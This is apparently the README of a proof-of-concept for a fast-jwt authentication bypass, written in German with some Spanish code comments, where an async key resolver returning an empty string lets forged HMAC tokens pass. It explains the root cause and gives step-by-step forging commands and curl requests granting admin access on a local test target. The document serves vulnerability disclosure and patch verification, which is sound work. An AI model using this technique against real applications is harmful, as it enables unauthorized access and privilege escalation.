
Proof-of-Concept für CVE-2026-44351, einen Authentifizierungs-Bypass in fast-jwt <6.2.4, bei dem ein leerer HMAC-Schlüssel Angreifern ermöglicht, beliebige JWTs zu fälschen, die als gültig akzeptiert werden.
fast-jwtPoC des Authentifizierungs-Bypasses (auth bypass) in fast-jwt (Versionen vor
6.2.4), der es jedem nicht authentifizierten Angreifer ermöglicht, beliebige JWTs zu
fälschen, die von der Zielanwendung als authentisch akzeptiert werden.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Fehlerhafte Validierung von Schlüsseln) / CWE-287 (Fehlerhafte Authentifizierung) / CWE-326 (Unzureichende Verschlüsselungsstärke) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Verwundbar | fast-jwt < 6.2.4 (verifiziert gegen 6.2.3) |
| Patch | [email protected] — lehnt leere HMAC-Schlüssel mit FAST_JWT_INVALID_KEY ab |
📄 Detaillierte technische Dokumentation (Root Cause mit echtem Code, Anatomie des Angriffs, Analyse des Patches):
docs/CVE-2026-44351.md
fast-jwt erlaubt es, eine asynchrone Funktion als Schlüsselauflösung (key) zu
übergeben — das typische Muster bei der Integration mit einem JWKS-Server:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Wenn die kid des eingehenden Tokens nicht existiert, gibt dieses Muster '' zurück.
fast-jwt wandelt den leeren String in einen Buffer der Länge null um
(Buffer.alloc(0)), übergibt ihn an crypto.createSecretKey (Node akzeptiert ihn
stillschweigend) und verifiziert die Signatur des Tokens unter Verwendung von HMAC mit
leerem Schlüssel.
Da HMAC-SHA256(key='', input='<header>.<payload>') von jedem berechenbar ist, muss der
Angreifer das echte Secret nicht kennen: Er fälscht ein Token mit den gewünschten Claims
(sub, admin, roles, scopes, iss, aud, …) und der Verifier gibt es als
authentisch zurück.
Betrifft nur den asynchronen Pfad der Schlüsselauflösung (Funktion). Die synchrone Konfiguration
key: ''wird korrekt abgelehnt, dacreateVerifierbei falsy-Werten kurzschließt.
Der Fehler liegt in src/verifier.js. Im Ablauf des async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
Und die Signatur wird mit src/crypto.js validiert:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) funktioniert, der HMAC des Inputs ist vom
Angreifer berechenbar und das gefälschte Token wird akzeptiert.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
(d, cb) => cb(null, '') | (default) | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
async d => keys[d.header.kid] || '' | (default) | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
async () => '' | ['HS256','HS384','HS512'] | ✅ akzeptiert | ✅ akzeptiert | ✅ akzeptiert |
async () => '' | ['HS256','RS256'] | ✅ akzeptiert | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
Der Angriff wird manuell ausgeführt: Das einzige Artefakt ist forge.js, das das mit
leerem Schlüssel signierte JWT erzeugt. Das Senden und die Validierung erfolgen mit
curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Docker dient nur dazu, das verwundbare Target auszuführen, nicht zum Ausnutzen. Der Rest des Angriffs ist manuell.
Identifiziere ein echtes JWT der App (zum Beispiel aus einer authentifizierten Anfrage) und inspiziere dessen Header/Payload ohne die Signatur zu validieren:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Zu validierende Punkte:
kid → die App löst Schlüssel über kid auf (möglicherweise JWKS).kid mit 401 ablehnt, aber kein
invalid algo/invalid key liefert, macht der Resolver wahrscheinlich keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
Das Skript signiert immer den gewählten Header {alg, typ, kid} und den Payload unter
Verwendung von HMAC-SHA* mit leerem Schlüssel (secret: ""), ohne das echte Secret
der App zu kennen.
Mit dem kopierten Token (oder aus der Datei gelesen):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Erwartete Antwort, wenn das Ziel verwundbar ist:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Fall | Befehl | Ergebnis |
|---|---|---|
| Ohne Token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Ungültiges Token | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Gefälschtes Token | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + Admin-Zugriff |
Der Bypass ist reproduzierbar, indem man die Claims ändert und die Schritte 2–3
wiederholt (Post-Exploitation: Eskalation zu role, scopes, anderem sub, usw.).
Schneller Vergleich zwischen der verwundbaren und der gepatchten Version:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Auch in Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed